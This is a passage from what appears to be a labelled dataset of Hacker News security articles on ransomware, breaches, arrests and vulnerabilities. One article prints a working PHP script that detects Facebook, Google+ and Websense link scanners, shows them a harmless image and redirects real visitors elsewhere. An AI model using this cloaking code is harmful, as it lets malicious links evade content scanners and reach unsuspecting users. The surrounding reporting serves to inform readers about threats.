But to get their important files back, Popcorn Time gives victims option to pay a ransom to the cyber criminal or infect two other people and have them pay the ransom to get a free decryption key.

What's even worse? The victims are encouraged to pay the ransom of 1 Bitcoin (~$750) within seven days to receive decryption keys stored on a remote server owned by Popcorn Time's developers.

If the ransom is not paid within this duration, the decryption key will be permanently deleted and retrieve important files will become impossible.

Moreover, the code of the ransomware is incomplete that may indicate that if victims enter the wrong decryption key four times, the Popcorn Time ransomware will start deleting victims' files.

Here's How the Popcorn Time Ransomware Threat Works:
Once infected, the Popcorn Time Ransomware will check to see if the ransomware has been run already on the PC. If yes, the ransomware will terminate itself.

If not, the Popcorn Time Ransomware will either download various images to use as backgrounds or start encrypting the files using AES-256 encryption. The encrypted files will have the "".filock"" or "".kok"" extension appended to it.

While encrypting the data, the ransomware will display a fake screen that pretends to be the installation of the program.

As soon as the encryption is finished, it will convert two base64 strings, save them as ransom notes known as restore_your_files.html and restore_your_files.txt, and then automatically display the HTML ransom note asking for 1 Bitcoin.

Want a Free Decryption Key? Infect Two More People
The Popcorn Time author provides a ""nasty way"" for a victim to get the free decryption key: Spread the Ransomware to two other people via the victim's ""referral"" link.""

If those two infected victims pay the ransom, then the first victim will supposedly get a free decryption key.

To make this possible, the ransom note contains a URL pointing to a file located on the Popcorn Time's TOR server.

Entering Wrong Decryption Key 4 Times and You are Screwed Up!

When executed, the Popcorn Time ransomware will display a lock screen filled in with various information relating to victim's particular installation.

The victim will also find a field where he/she can enter the decryption key given to them by the attacker after paying the ransom.

The source code for Popcorn Time contains a function that suggests the threat to delete files if the victim enters the wrong decryption code four times.

Since the Popcorn Time ransomware is still under development at the time of writing, many things are unclear and may change with time.

",Malware
"FBI Arrests Two Hackers Who Hacked US Spy Chief, FBI and CIA Director",https://thehackernews.com/2016/09/fbi-cia-hacker-arrested.html,"US authorities have arrested two North Carolina men on charges that they were part of the notorious hacking group ""Crackas With Attitude.""

Crackas with Attitude is the group of hackers who allegedly was behind a series of audacious and embarrassing hacks that targeted personal email accounts of senior officials at the CIA, FBI, the White House, Homeland Security Department, and other US federal agencies.

Andrew Otto Boggs, 22, of North Wilkesboro, N.C., who allegedly used the handle ""INCURSIO,"" and Justin Gray Liverman, 24, of Morehead City, who known online as ""D3F4ULT,"" were arrested on Thursday morning on charges related to their alleged roles in the computer hacking, according to a press release by Department of Justice.

A 16-year-old British teenager suspected of being part of the group was arrested in February by the FBI and British police.

Although court documents did not name the victims, the hacking group had allegedly:
Hacked into the AOL email of CIA director John Brennan and released personal details.
Hacked into the personal emails and phone accounts of the US spy chief James Clapper.
Broke into the AOL email of the FBI Deputy Director Mark Giuliano.
Cracka also leaked the personal details of 31,000 government agents belonging to nearly 20,000 FBI agents; 9,000 Department of Homeland Security (DHS) officers and some number of DoJ staffers.

""In some instances, members of the conspiracy uploaded private information that they obtained from victims' personal accounts to public websites; made harassing phone calls to victims and their families; and defaced victims' social media accounts,"" reads the press release.

According to the FBI officials, between October 2015 to February 2016, the hacking group used social engineering in order to trick the victims into revealing their account number, password, and other details.

Boggs and Liverman will be extradited next week to the Eastern District of Virginia, where federal prosecutors have spent months building a case against Crackas With Attitude.

",Data_Breaches
SoReL-20M: A Huge Dataset of 20 Million Malware Samples Released Online,https://thehackernews.com/2020/12/sorel-20m-huge-dataset-of-20-million.html,"Cybersecurity firms Sophos and ReversingLabs on Monday jointly released the first-ever production-scale malware research dataset to be made available to the general public that aims to build effective defenses and drive industry-wide improvements in security detection and response.
""SoReL-20M"" (short for Sophos-ReversingLabs – 20 Million), as it's called, is a dataset containing metadata, labels, and features for 20 million Windows Portable Executable (.PE) files, including 10 million disarmed malware samples, with the goal of devising machine-learning approaches for better malware detection capabilities.
""Open knowledge and understanding about cyber threats also leads to more predictive cybersecurity,"" Sophos AI group said. ""Defenders will be able to anticipate what attackers are doing and be better prepared for their next move.""
Accompanying the release are a set of PyTorch and LightGBM-based machine learning models pre-trained on this data as baselines.
Unlike other fields such as natural language and image processing, which have benefitted from vast publicly-available datasets such as MNIST, ImageNet, CIFAR-10, IMDB Reviews, Sentiment140, and WordNet, getting hold of standardized labeled datasets devoted to cybersecurity has proved challenging because of the presence of personally identifiable information, sensitive network infrastructure data, and private intellectual property, not to mention the risk of providing malicious software to unknown third-parties.
Although EMBER (aka Endgame Malware BEnchmark for Research) was released in 2018 as an open-source malware classifier, its smaller sample size (1.1 million samples) and its function as a single-label dataset (benign/malware) meant it ""limit[ed] the range of experimentation that can be performed with it.""
SoReL-20M aims to get around these problems with 20 million PE samples, which also includes 10 million disarmed malware samples (those can't be executed), as well as extracted features and metadata for an additional 10 million benign samples.
Furthermore, the approach leverages a deep learning-based tagging model trained to generate human-interpretable semantic descriptions specifying important attributes of the samples involved.
The release of SoReL-20M follows similar industry initiatives in recent months, including that of a coalition led by Microsoft, which released the Adversarial ML Threat Matrix in October to help security analysts detect, respond to, and remediate adversarial attacks against machine learning systems.
""The idea of threat intelligence sharing in security isn't new but is more critical than ever given the innovation threat actors have shown over the past several years,"" ReversingLabs researchers said. ""Machine learning and AI have become central to these efforts allowing threat hunters and SOC teams to move beyond signatures and heuristics and become more proactive in detecting new or targeted malware.""

",Malware
Security breach at OAuth based applications can cause Social Media Disaster,https://thehackernews.com/2013/10/security-breach-at-oauth-based.html,"With all the popular social networking websites there on the web, managing them from several different internet browser tabs or windows can get frustrated very quickly.

Besides our own Facebook Page, Twitter account, and Google+ profile, I also manage several others and, YES, I feel the ""time management"" pain!

To make social media management and monitoring easier for users, some very innovative desktop applications and mobile apps were developed to help organize multiple platforms and information sharing across selected networks.

Using online tools like TweetDeck, Seesmic, Hootsuite, Feedly, Twuffer and Buffer App for scheduling and posting directly from a web page has become an absolute necessity especially where Twitter is concerned.

Additionally these apps gives you the ability to post on one or all of your connected accounts together i.e Multiple Facebook, Twitter or Google+ profiles.

These applications don't require your passwords for social media accounts, i.e. It would be really very uncool in sharing your Facebook password with a third-party site. That's where OAuth comes in.

OAuth is an open standard for authorization, which keeps your passwords safe on third-party sites and instead of giving the keys to your entire house, you've given a special key called 'Access token' that only opens one room which you want them to access.
This Access token behaves similar to a session variable which you can store in a cookie to keep the user logged into your website. The only difference is that many services will send back an Access Token and Secret Access Token. You likely need both of these to pull any data from the server.
But more importantly, if somehow that application server gets hacked, your Twitter or Facebook passwords are still safe. But yes, the hackers would still be able to post on your behalf on Facebook or Twitter and can spread spam via tweets, status updates or Direct Inbox messages.

Rather than hacking into individual accounts which is almost impossible, Hacking an OAuth based application server, having millions of users - is enough to damage the Internet and Social Media.

Just yesterday Buffer, the social content management and scheduling service was hacked by cyber crooks, which resulted in a flood of unauthorized posts to user accounts for both Twitter and Facebook.
The security of such apps should be very high, where access to Social media accounts of millions of users are available in bulk after exploiting the vulnerabilities in application server only. Buffer Hack was basically used to spread SPAM messages linked to weight-loss web site.

The main reason why this particular attack is so effective is because:
The victims were essentially receiving messages including links from sources they trust; accounts that they follow on Twitter or Facebook.
A hacker could trigger huge spam messages on all buffer users with one click.
But in the worst scenarios, a malicious attacker could use the same techniques to spam links to Malware infected websites or other such websites serving exploit kits to compromise visitors' computers.

After recovering for Security Breach, Buffer said on Sunday that they have encrypted all OAuth access tokens in the database for further security.

In June 2012, a hacking group called 'LulzsecReborn' associated with Anonymous Hackers, hacked into TweetGif website, which allows you to use animated GIF image as your twitter picture.

In that hack, attackers were able to access 10,000 Twitter users OAuth access tokens and they choose to leak the information on the Internet, including usernames, TweetGif account passwords, Real names, locations, Bios, Avatars and Secret tokens also on the Internet.

To avoid such issues, pay attention to the permissions that each app is taken from your account. If it does something you don't want it to do, just don't use that app.

There is no good or even half good way to protect keys that untrusted users can access. The minimum amount of effort won't be effective. Even the maximum amount of effort won't be effective against a skilled hacker with just a few hours of spare time.

It is a genuine problem with no effective solution. Not in Java, not in C#, not in Perl, not in C, not in anything. Think of it as if it was a Law of Physics. Your alternatives are:
Always use trusted applications and grant limited required permissions.
Turn your application into a service and run it on a machine that you control access to.
Use some authentication mechanism that doesn't require permanent secret keys to be distributed.
Always, be sure to regularly review your authorized apps so you don't run into trouble if you haven't used one of them in a while, you're probably better off getting rid of it completely.

All you need to do is go to your Twitter settings and revoke access to that app. That way, your tokens become useless and your account is under your control again, without even having to change your password.
Swati Khandelwal - Working with 'The Hacker News'. Social Media Lover and Gadget Girl. Speaker, Cyber Security Expert and Technical Writer. (Google+ Profile)

",Malware
Highly Critical Flaw (CVSS Score 10) Lets Hackers Hijack Oracle Identity Manager,https://thehackernews.com/2017/10/oracle-identity-manager.html,"A highly critical vulnerability has been discovered in Oracle's enterprise identity management system that can be easily exploited by remote, unauthenticated attackers to take full control over the affected systems.

The critical vulnerability tracked as CVE-2017-10151, has been assigned the highest CVSS score of 10 and is easy to exploit without any user interaction, Oracle said in its advisory published Monday without revealing many details about the issue.

The vulnerability affects Oracle Identity Manager (OIM) component of Oracle Fusion Middleware—an enterprise identity management system that automatically manages users' access privileges within enterprises.

The security loophole is due to a ""default account"" that an unauthenticated attacker over the same network can access via HTTP to compromise Oracle Identity Manager.

Oracle has not released complete details of the vulnerability in an effort to prevent exploitation in the wild, but here the ""default account"" could be a secret account with hard-coded or no password.
""This vulnerability is remotely exploitable without authentication, i.e., may be exploited over a network without requiring user credentials,"" Oracle's advisory reads.
The easily exploitable vulnerability affects Oracle Identity Manager versions 11.1.1.7, 11.1.1.9, 11.1.2.1.0, 11.1.2.2.0, 11.1.2.3.0 and 12.2.1.3.0.

Oracle has released patches for all versions of its affected products, so you are advised to install the patches before hackers get a chance to exploit the vulnerability to target your enterprise.

""Due to the severity of this vulnerability, Oracle strongly recommends that customers apply the updates provided by this Security Alert without delay,"" the company warned.

Product releases that are not under Premier Support or Extended Support are not tested for the presence of the vulnerability.

However, Oracle said it was ""likely that earlier versions of affected releases are also affected by these vulnerabilities. As a result, Oracle recommends that customers upgrade to supported versions.""

The security patch for this vulnerability comes just about two weeks after Oracle's regular Critical Patch Update (CPU) for October 2017, which patches a total of 252 vulnerabilities in its products, including 40 in Fusion Middleware out of which 26 are remotely exploitable without authentication.

",Data_Breaches
Facebook content restrictions bypass Vulnerability,https://thehackernews.com/2011/10/facebook-content-restrictions-bypass.html,"Facebook content restrictions bypass Vulnerability
Blackhat Academy claims to have found a way to bypass content restrictions on links, as posted on their site and posts put on a user's public wall. Even Security Analysts claim that Facebook was notified of these vulnerabilities on July 31st, 2011. To date (October 4, 2011), Facebook has yet to do anything about this.

Facebook has only recently purchased Websense to attempt to push this vulnerability under the rug, however the exploit still works.To access Facebook's FQL API, Facebook was even so kind as to give a reference of tables and columns in the documentation for FQL. FQL does not allow the use of JOINS, however it is not needed as everything is thoroughly documented. Attackers can misuse this during the creation of a malicious Facebook application or directly on the FQL development api page for information gathering. :

<?php
# User agent checking methods
$fb_string = '/facebookexternal/i'; # facebookexternal shows in the facebook content scanner's user agent
$gplus_string = '/Feedfetcher-Google/i'; # googleplus shows up in the user agent as well.
# rDNS Lookup Methods
$host_websense = '/websense.com/i'; # Checking the rdns for websense filters
$host_fb = '/tfbnw.net/i'; # Checking the rdns for tfbnw.net - facebook host
# Load the request properties
$u_agent = $_SERVER['HTTP_USER_AGENT'];
$u_ref = $_SERVER['HTTP_REFERER'];
$u_host = gethostbyaddr($_SERVER['REMOTE_ADDR']);
# If we're coming from or facebook or websense or google plus,
if (preg_match($host_fb,$u_host) || preg_match($host_websense,$u_host) || preg_match($fb_string,$u_agent) || preg_match($gplus_string,$u_agent)) {
# Display an image
header('Content-Type: image/jpeg');
@readfile ('/var/www/localhost/cute_kitten.jpeg');
} else {
# Rickroll this unsuspecting user
header('Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ&ob=av3e');
}
?>

While most major sites that allow link submission are vulnerable to this method, sites including Websense, Google+, and Facebook make the requests easily identifiable. These sites send an initial request to the link in order to store a mirror thumbnail of the image, or a snapshot of the website being linked. In doing so, many use a custom user agent, or have IP addresses that resolve to a consistent domain name. Facebook IP addresses resolve to tfbnw.net, also set a custom user agent of ""facebookexternalhit"".Google+ (also notified Jul. 31st and guilty of reasonable care) again follows suit and utilizes ""Feedfetcher-Google"" as their user agent. Knowing this, we can easily filter out requests coming from these websites, and offer up a legitimate image to be displayed on their site, while redirecting or displaying a completely different page to anyone that follows the links. Facebook's recent partnership with Websense is laughable, due to Websense's ""ACE"" security scanner that is just as easily identified, by using gethostbyaddr in order to resolve the IP back to websense.com. Utilizing this technique would allow an overwhelming number of malware sites to remain undetected to their automatic site analysis. Other places like digg.com either spoof a user agent to look like normal traffic, or forward the client's user agent, which makes it more difficult to catch every one of their requests. Fortunately, digg.com only requests the link once, prior to submitting the link to the world. This allows attackers to serve up a legitimate image until that initial request clears our server, and then replace it with a less than honest file. We have affectionately named this vulnerability class Cross-Site Content Forgery.Proof of Concept can be seen here.

Submitted By : Blackhat Academy

",Malware
"Hack Windows 8.1 to earn $100,000 bounty from Microsoft",https://thehackernews.com/2013/06/Hacking-Windows-8.1-download-bounty.html,"If you don't know yet, Microsoft is offerings up to $100,000 in exchange for finding vulnerabilities and exploits in the upcoming Windows 8.1 Preview which is expected to launch on June 26, the same time as the Microsoft Build Developer Conference.

Qualifying submissions with accompanying defensive ideas will also be eligible for a BlueHat Bonus worth up to $50,000. ""These are super challenging to discover and they require a new technique,"" says Mike Reavey, director of Microsoft's Security Response Center.
Windows 8.1 is a major update to Microsoft's brand new operating system Windows 8, and given the serious bounty on offer, Microsoft clearly wants to leave nothing to chance as far as securing the operating system is concerned.

""Learning about new exploitation techniques earlier helps Microsoft improve security by leaps, instead of capturing one vulnerability at a time as a traditional bug bounty alone would,"" he said.

Microsoft's senior security strategist, Katie Moussouris, noted that the company is giving out rewards because Microsoft doesn't want to wait for another competition to learn about exploitation techniques.

Also Microsoft is offering up to $11,000 for critical vulnerabilities that affect Internet Explorer 11 Preview in Windows 8.1 Preview. ""Most organization don't offer bounties for software in beta, so some researchers would hold onto vulnerabilities until the code is released to manufacturing,"".

Taking such steps is part of a smart strategy on Microsoft's behalf to make sure users get the finest experience out of the yet-to-be-released update with as a best user security ensured as possible.

Microsoft is not the first company to start this kind of program. Many companies launched similar programs in order to find exploits and improve their products.

The bounty being offered by Microsoft will be the highest by a tech company for a bug bounty reward program. The web giant Google reportedly pay between $500 and $1,333.70 for flaws in its web browser Google Chrome and up to $20,000 for dangerous vulnerabilities in its web services like search engine Google, video web search Youtube, web-based email service Gmail, etc

",Vulnerability
Apple Crash Reports Help Hackers to create a jailbreak exploit,https://thehackernews.com/2011/12/apple-crash-reports-help-hackers-to.html,"Apple Crash Reports Help Hackers to create a jailbreak exploit


iPhone ""jailbreaking"" has been a hot topic since Apple released its smartphone more than two years ago. According to the Latest report posted by BBC that Thousands of iPhone owners have joined forces with a team of hackers to help them find new ways to jailbreak Apple's phone software & Jailbreakers use Apple crash reports to unlock iPhones.

You may be wondering and hearing alot on ""What Is Jailbreaking an Iphone? How do you do that?"" Jailbreaking is basically modifying the iPhone's firmware so that you can get access to the internals of its operating system and install a whole slew of third-party applications on your iPhone that are not otherwise available through official channels.Jailbreaking your iPhone in and of itself doesn't normally make much difference in your operation of it, but it does allow you to install other third-party applications that are not blessed by Apple.

A collective of hackers known as the iPhone Dev-Team publishes easy-to-use, cross-platform tools that allow you to install third-party apps on your iPhone that Apple won't admit into its App Store. The latest version of the iPhone's operating system is proving to be extremely hard to jailbreak fully, according to Joshua Hill, a member of the Chronic Dev hacker team.""Apple is really making it tough for us. The iPhone is now better protected than most nuclear missile facilities,"" he says.

Jailbreaking your iOS device also enables you to change your phone's behavior and even add some nifty extra features. One such feature that Apple prohibited was FaceTime or any demanding data tasks over 3G.

How Hackers Develop a Jailbreak application ? Well, Hackers like Mr Hill hunt for programming errors, or bugs, in Apple's software. Bugs may result in a program crashing or shutting down, and they are like gold dust to hackers because sometimes they can be exploited to create a jailbreak. Hackers may have to crash a particular program thousands of times as they work out how to exploit a bug successfully, but this alerts Apple that the bug exists and that hackers may be investigating it.

Phone manufacturers don't want you to do it because of the small number of cases in which it can make the phone unstable or open it up to security breaches. It then makes them look bad because it's their phone that's crashing or introducing malware to your network.

But Users Hate hate it even more because it can cost them money. They even go so far as to cripple features that the phone makers build in, so they can charge you an extra fee for the same service. One example is Wi-Fi hotspot capability, for which carriers charge up to $30 per month when you can do the same thing on a rooted phone with no extra fees using a free or low, one-time-cost app. Some carriers also don't want you running apps like Skype to make phone calls instead of using expensive cellular voice minutes.

Chronic Dev is ready to turn this little information battle into an all-out, no-holds-barred information WAR. A program called CDevreporter that iPhone users can download to their PC or Mac. The program intercepts crash reports from their phones destined for Apple and sends them to the Chronic Dev team. ""In the first couple of days after we released CDevreporter we received about twelve million crash reports,"" he says. ""I can open up a crash report and pretty much tell if it will be useful or not for developing a jailbreak, but we have so many that I am working on an automated system to help me analyse them.""

Is Jailbreaking Legal ? In July,2010 The United States government announced that jailbreaking and unlocking iPhones, rooting of Android phones and ripping DVDs (for educational purposes) is completely legal as long as they are not violating copyright law. It is also apparently not illegal to jailbreak devices in the UK, although it does invalidate product warranties, according to Simon Halberstam, technology law expert and partner at Kingsley Napley.

Apple tries to prevent jailbreaking for security reasons once a phone has been jailbroken users could unwittingly install malware that might not get past Apple's approval process. Mr Hill rejects this argument: ""I am trying to make sure that my phone is safe and your phone is safe. Apple cares about money, not your safety.""

As yet the Chronic Dev team has not announced that it has found any bugs that it can exploit, but a member of the team called pod2g claims to have found a way to create an untethered jailbreak anyway. Even if Apple fixes the bug that makes this jailbreak possible, Mr Hill is confident that the hackers will find more ways.

",Malware
"22-Year-Old Hacker Pleads Guilty to 2014 Yahoo Hack, Admits Helping Russian Intelligence",https://thehackernews.com/2017/11/yahoo-email-hacker.html,"Karim Baratov, a 22-year-old Kazakhstan-born Canadian citizen, has pleaded guilty to hacking charges over his involvement in massive 2014 Yahoo data breach that affected all three billion yahoo accounts.

In March, the US Justice Department announced charges against two Russian intelligence officers (Dmitry Dokuchaev and Igor Sushchin) from Russia's Federal Security Service (FSB) and two hackers (Alexsey Belan and Karim Baratov) for breaking into yahoo servers in 2014.

While Karim Baratov (Kay, a.k.a Karim Taloverov, a.k.a Karim Akehmet Tokbergenov) was arrested in Toronto at his Ancaster home by the Toronto Police Department in March this year, Alexsey Belan and both FSB officers currently reside in Russia, unlikely to be extradited.

In the federal district court in San Francisco on Tuesday, Baratov admitted to helping the Russian spies and pleaded guilty to a total of nine counts which includes:

One count of conspiring to violate the Computer Fraud and Abuse Act by stealing information from protected computers and causing damage to protected computers.
Eight counts of aggravated identity theft.

Prosecutors believe that FSB officers directed the Yahoo hack and contracted Baratov when their targets—which included journalists, government officials, and technology company employees—used email accounts outside of Yahoo's system.
""Baratov's role in the charged conspiracy was to hack webmail accounts of individuals of interest to the FSB and send those accounts' passwords to Dokuchaev in exchange for money,"" his plea agreement reads.
However, according to Baratov's lawyers, at the time of the crime, Baratov had no idea he was working with Russian FSB agents.

Baratov gained unauthorized access to at least 80 non-Yahoo email accounts, including at least 50 Google accounts by obtaining their credentials through ""spear phishing"" attacks.

Baratov's sentencing hearing will be held on 20th February next year in federal district court in San Francisco, where he could face 70 to 87 months in jail for the first charge and 24 months for the identity theft charges.
""The illegal hacking of private communications is a global problem that transcends political boundaries. Cybercrime is not only a grave threat to personal privacy and security, but causes great financial harm to individuals who are hacked and costs the world economy hundreds of billions of dollars every year,"" US Attorney Brian Stretch said.
""These threats are even more insidious when cybercriminals such as Baratov are employed by foreign government agencies acting outside the rule of law.""
Besides any prison sentence, Baratov has also agreed to pay compensation to the Yahoo victims and a fine up to $2,250,000 (at $250,000 per count).

Baratov's arrest is the only one in this investigation. The three other men, including two FSB officers and one criminal hacker, currently reside in Russia, with whom the United States has no extradition treaty.

",Data_Breaches
Cloudworm - Candidate MS12-020 - POC,https://thehackernews.com/2012/04/cloudworm-candidate-ms12-020-poc.html,"Cloudworm - Candidate MS12-020 - POC

How secure are cloud servers?
In technical circles, people are aware of the cloud variables and that cloud service providers offload the virtual machine security onto the customer as much as possible.

Technical people know this. Not all cloud customers fall into this category and not all clouds are created equally. There are more casual and also very (too busy) customers as well.

It is highly probably that many Windows cloud images may be vulnerable to a MS12-020 RDP exploit by default.

New research using the nmap nse script ""rdp-ms12-020.nse"" developed by @ea_foundation shows that all Rackspace Windows cloud images are vulnerable by default. And on AWS EC2 any existing, unpatched Windows AMIs or EBS images (pre 2012.03.13) that are booted with the AWS Management Console default firewall ruleset are vulnerable as well.

A Cloudworm
Although cloud service providers have taken some steps to mitigate MS12-020, it is nowhere near enough to protect customers.

This is due to the fact that both cloud service providers, AWS EC2 and Rackspace have vulnerable by default security settings.
AWS EC2 have a global allow RDP (port 3389) as a default rule for all customers using the AWS Management Console to launch EC2 instances.
Rackspace have an unsecured ""servicenet"" (unfirewalled LAN) on all their cloud servers.

This means that when an exploit is developed to exploit MS12-020, it may be deployable onto a very large number of servers in the clouds, if the cloud providers do not act more pro-actively and promptly.

The most vulnerable customers are casual cloud users that have an expectation that the cloud service providers are providing their virtual servers with a sensible set of default firewall rules. Unfortunately, in the case of MS12-020, the exact opposite is true.

Experienced users may not be off the hook either. Booting older Windows cloud images will leave the server vulnerable until the user has patched and rebooted their cloud server, unless they have a sensible RDP ruleset and have secured any ""open"" network interfaces.

Source: https://www.snyping.com/misc/cloudworm/cloudworm-ms12-020.txt
https://www.snyping.com/misc/cloudworm/cloudworm-ms12-020.html

",Vulnerability
Remotely Exploitable Bug in Truecaller Puts Over 100 Million Users at Risk,https://thehackernews.com/2016/03/truecaller-hack.html,"Security researchers have discovered a remotely exploitable vulnerability in Called ID app ""Truecaller"" that could expose personal details of Millions of its users.

Truecaller is a popular service that claims to ""search and identify any phone number,"" as well as helps users block incoming calls or SMSes from phone numbers categorized as spammers and telemarketers.

The service has mobile apps for Android, iOS, Windows, Symbian devices and BlackBerry phones.

The vulnerability, discovered by Cheetah Mobile Security Research Lab, affects Truecaller Android version of the app that has been downloaded more than 100 Million times.

The actual problem resides in the way Truecaller identify users in its systems.

While installation, Truecaller Android app asks users to enter their phone number, email address, and other personal details, which is verified by phone call or SMS message. After this, whenever users open the app, no login screen is ever shown again.

This is because Truecaller uses the device's IMEI to authenticate users, according to researchers.
""Anyone gaining the IMEI of a device will be able to get Truecaller users' personal information (including the phone number, home address, mail box, gender, etc.) and tamper app settings without users' consent, exposing them to malicious phishers,"" Cheetah Mobile wrote in a blog post.
Cheetah Mobile researchers told The Hacker News that they were able to retrieve personal data belonged to other users with the help of exploit code just by interacting with Truecaller's servers.

On a successful exploitation of this flaw, the attackers can:
Steal personal information like account name, gender, e-mail, profile pic, home address, and more.
Modify a user's application settings.
Disable spam blockers.
Add to a black list for users.
Delete a user's blacklist.
Cheetah Mobile informed Truecaller of this flaw, and the company updated their servers as well as released an upgraded version of its Android app on March 22 in order to prevent abuse exploiting this flaw.

Truecaller said in its blog post published Monday that the vulnerability did not compromise any of its user information.

If you haven't, download the latest version of Truecaller for your Android devices from the Google Play Store Now!

",Vulnerability
Researcher releases Free Ransomware Detection Tool for Mac OS X Users,https://thehackernews.com/2016/04/ransomware-detection-tool.html,"In Brief:
Introducing RansomWhere, a free generic ransomware detection tool for Mac OS X users that can identify ransomware-like behavior by continually monitoring the file-system for the creation of encrypted files by suspicious processes.

This ransomware detection tool helps to block the suspicious processes and waits for the user to decide whether to allow or stop the process.

Ransomware has risen dramatically since last few years... so rapidly that it might have already hit someone you know.

With hundred of thousands of ransomware samples emerging every day, it is quite difficult for traditional signature-based antivirus products to keep their signature database up-to-date.

So, if signature-based techniques are not enough to detect ransomware infection, then what else can we do?

Some Antivirus companies have already upgraded their security solutions that detect suspicious behaviors like the sequential accessing of a large number of files, using encryption algorithms and key exchange mechanisms.

Here's the latest ransomware detection tool for Mac OS X users:

RansomWhere? – a smart application that can identify ransomware-like behavior by detecting untrusted processes rapidly encrypting files, stop that suspicious process, and then alert the user.

How RansomWhere tool works

Patrick Wardle, a former NSA staffer who now leads research at bug hunting outfit Synack, has developed the RansomWhere tool, which aims at detecting and blocking generic ransomware on Mac OS X by regularly monitoring the user's local filesystem for the creation of encrypted files by any process.
""The ransomware will likely encrypt a few files (ideally only two or three), before being detected and blocked,"" Wardle wrote in a blog post.
This ransomware detection tool, by default, scans Mac apps and binaries that are signed with an Apple Developer ID and not by official Apple certificates.

If the tool detects any untrusted process, it suspends the suspicious process and alerts the user by showing a pop-up asking user to continue or terminate the process in question.

Wardle successfully tested RansomWhere against KeRanger as well as Gopher ransomware proof-of-concept, which was developed by a pro-Apple Mac hacker, Pedro Vilaca, last year.

Also Read: How Just Opening an MS Word Doc Can Hijack Every File On Your System.

Though Wardle admitted that his tool does not guarantee 100 percent result and that it could be circumvented by malicious hackers who can discover a way to bypass RansomWhere and avoid detection, it is always better to be somewhat safer than completely vulnerable.

Some known Limitations of RansomWhere tool?:

RansomWhere would not be able to help if any Ransomware malware abuses Apple-signed file or app.
RansomWhere detects ransomware infections after they have already encrypted some of your important files.
Files outside of your home directory are not protected by RansomWhere. So sophisticated ransomware could shift all your files outside home directory and lock them up.

Since hackers are always a step ahead of researchers, the RansomWhere tool has already been bypassed. Vilaca had tweaked his Gopher ransomware to bypass RansomWhere in a matter of minutes.

As mentioned in the limitations, Vilaca added just ten lines of code in its ransomware proof-of-concept to take the victim's files outside of the home directory and lock them up. You can watch the video above showing his hack.

",Malware
NetUSB Driver Flaw Exposes Millions of Routers to Hacking,https://thehackernews.com/2015/05/netusb-router-hacking.html,"A simple but shockingly dangerous vulnerability has been uncovered in the NetUSB component, putting Millions of modern routers and other embedded devices across the globe at risk of being compromised by hackers.

The security vulnerability, assigned CVE-2015-3036, is a remotely exploitable kernel stack buffer overflow flaw resides in Taiwan-based KCodes NetUSB.

NetUSB is a Linux kernel module that allows for users to flash drives, plug printers and other USB-connected devices into their routers so that they can be accessed over the local network.

NetUSB component is integrated into modern routers sold by some major manufacturers including D-Link, Netgear, TP-Link, ZyXEL and TrendNet.

The security flaw, reported by Stefan Viehbock of Austria-based SEC Consult Vulnerability Lab, can be triggered when a client sends the computer name to the server deployed on the networking device (TCP port 20005) in order to establish a connection.

However, if a connecting computer has a name longer than 64 characters, a stack buffer overflow occurs in the NetUSB service, resulting in memory corruption.
""Because of insufficient input validation, an overly long computer name can be used to overflow the computer name kernel stack buffer,"" a Tuesday advisory states. ""This results in memory corruption which can be turned into arbitrary remote code execution [or denial-of-service].""

How does the flaw works?

SEC Consult carried out its analysis of the NetUSB driver on a TP-Link device. In order to establish a server connection, authentication is required, based on an AES encryption key.

However, security researchers say that the authentication is found to be useless because the AES key is present both in the kernel driver as well as in the client software for Windows and OS X.
""All the server code runs in kernel mode, so this is a 'rare' remote kernel stack buffer overflow,"" the researchers state in a blog post on Tuesday.

What's even worse?

As NetUSB service code runs in kernel mode, hackers within the local network can easily exploit this vulnerability to gain ability to remotely execute malicious code at the kernel level, which is the heart of the routers' computing functions.

This simply means an attacker could affect the devices with the highest possible privilege. Hackers could run an attack to either crash the device running the kernel module or compromise a router to install malware and spyware on its owners.

Affected Vendors:

Based on data embedded in KCodes NetUSB driver, security researchers at SEC Consult believe the following are among manufacturers that are affected by the kernel stack buffer overflow vulnerability:

ALLNET, Ambir Technology, AMIT, Asante, Atlantis, Corega, Digitus, D-Link, EDIMAX, Encore Electronics, EnGenius, HawkingTechnology, IOGEAR, LevelOne, LONGSHINE, NETGEAR, PCI, PROLiNK, Sitecom, TP-LINK, TRENDnet, Western Digital, and ZyXEL

Vendors Response:

SEC Consult contacted KCodes a number of times in February and March with details on the vulnerability and proof of concept code, but a patch wasn't made available.

The security firm later contacted TP-Link and NetGear, as well as CERTs before making a public disclosure of the vulnerability.

Until now, only TP-Link addressed the vulnerability and provided a fix for the serious NetUSB vulnerability and scheduled patches for about 40 products. NetGear has yet to release a patch.

However, other vendors have yet to respond to the security issue.

How to mitigate the issue:

According to SEC Consult, the NetUSB feature was enabled on all devices checked, and the service was still running even when no USB devices were connected.

This simply means the feature is likely turned ON unless a user switches it OFF manually.

On some devices, it is possible for users to turn off the feature from the Web-based administration interface, and block access to port 20005 using a firewall. However, on some devices, this is not possible.
""At least on NETGEAR devices this does not mitigate the vulnerability,"" states the blog post. ""NETGEAR told us, that there is no workaround available, the TCP port can't be firewalled nor is there a way to disable the service on their devices.""
You should keep an eye out for patches too and update your devices as soon as patches are made available in order to prevent any possibility of NetUSB exploits.

",Vulnerability
Quora Gets Hacked – 100 Million Users Data Stolen,https://thehackernews.com/2018/12/quora-hack.html,"The World's most popular question-and-answer website Quora has suffered a massive data breach with unknown hackers gaining unauthorized access to potentially sensitive personal information of about 100 million of its users.

Quora announced the incident late Monday after its team last Friday discovered that an unidentified malicious third-party managed to gain unauthorized access to one of its systems and stole data on approximately 100 million users—that's almost half of its entire user base.

According to Adam D'Angelo, the chief executive officer and co-founder of Quora, the personal user information compromised in the breach includes:

Account information, such as names, email addresses, encrypted (hashed) passwords, and data imported from linked social networks like Facebook and Twitter when authorized by users.
Public content and actions, like questions, answers, comments, and upvotes.
Non-public content and actions, including answer requests, downvotes, direct and messages (note that a low percentage of Quora users have sent or received such messages).

Quora said it stores salted and hashed passwords to prevent them from cracking, but as a precaution, the company has logged all compromised users out of their Quora accounts, and forcing them to reset their passwords.

Quora said it is still investigating the breach and assured its users that it working rapidly to ""take the appropriate steps to prevent such incidents in the future.""

""We're still investigating the precise causes, and in addition to the work being conducted by our internal security teams, we have retained leading digital forensics and security firm to assist us. We have also notified law enforcement officials,"" Adam said in a blog post.

Quora is notifying affected users of the breach through emails, but if you think you are compromised, you can head on to the company's FAQ to find out every detail about the incident.

Quora's data breach is the latest in a series of high-profile hacks.

